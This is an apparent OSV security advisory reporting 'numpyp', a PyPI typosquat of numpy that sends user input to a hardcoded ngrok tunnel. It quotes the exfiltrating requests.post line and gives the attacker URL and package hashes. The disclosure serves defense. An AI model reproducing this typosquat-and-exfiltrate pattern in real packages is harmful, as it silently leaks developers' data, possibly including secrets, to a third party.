{"id":"MAL-2026-12503","summary":"Malicious code in numpyp (PyPI)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (971ce16c4710dfddc439c30ec2fc190001171f79fcd66f718ad358a43ecdf876)\nPackage name `numpyp` is a one-character edit of `numpy` (top-1 PyPI package) and PKG-INFO advertises it as 'the simplest module for quick work with files' — bearing no relationship to numerical computing. The actual implementation in `numpyp/__init__.py` defines `BASE_URL = \"https://fantasize-handcraft-pavement.ngrok-free.dev\"` (an author-controlled ngrok free-tier tunnel) and exports `call(qst, info)` / `ans(qst_id, human)`, which unconditionally POST/GET caller-supplied content to that endpoint (e.g. `requests.post(f\"{BASE_URL}/questions\", json={\"question\": qst, \"info\": info},...)`). The destination is hardcoded with no documented configuration override, and the README does not disclose where data is sent. A developer who fat-fingers `pip install numpy` as `numpyp` and then calls the exported API will silently ship their input strings — potentially including pasted secrets, proprietary text, or exam material — to the author's home tunnel.\n","modified":"2026-08-05T13:36:27.302800548Z","published":"2026-08-05T12:54:17Z","database_specific":{"malicious-packages-origins":[{"sha256":"971ce16c4710dfddc439c30ec2fc190001171f79fcd66f718ad358a43ecdf876","source":"amazon-inspector","versions":["0.7.7"],"id":"IN-MAL-2026-014808","import_time":"2026-08-05T13:08:48.019858712Z","modified_time":"2026-08-05T12:54:17Z"}]},"references":[{"type":"PACKAGE","url":"https://pypi.org/project/numpyp/0.7.7/"}],"affected":[{"package":{"name":"numpyp","ecosystem":"PyPI","purl":"pkg:pypi/numpyp"},"versions":["0.7.7"],"database_specific":{"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/pypi/numpyp/MAL-2026-12503.json","cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"indicators":{"evidence_files":[{"path":"numpyp/__init__.py","sha256":"abe7cee2214f53cea8c4103636bca26f85d96be57cf5eae095ce2e40947cb80b","tlsh":"f271f05681ad69d68301f42acc08650a2e7a15ff3e9723213cbc3dac7fd6035c1656ad"}],"package_integrity":[{"filename":"numpyp-0.7.7.tar.gz","hashes":{"md5":"188100fa864e7b86e6aff72202e3dad6","sha256":"f00921577a6a04497c5a312090b5cf6b1899c8c2d61b64e5516bbd6d574fd7c6","blake2b_256":"43dfc045209d46e2c06205b77556044b358514c724157a24596015ab6793a2ff"}}]}}}],"schema_version":"1.8.0","credits":[{"name":"Amazon Inspector","contact":["inspector-research@amazon.com"],"type":"FINDER"}]}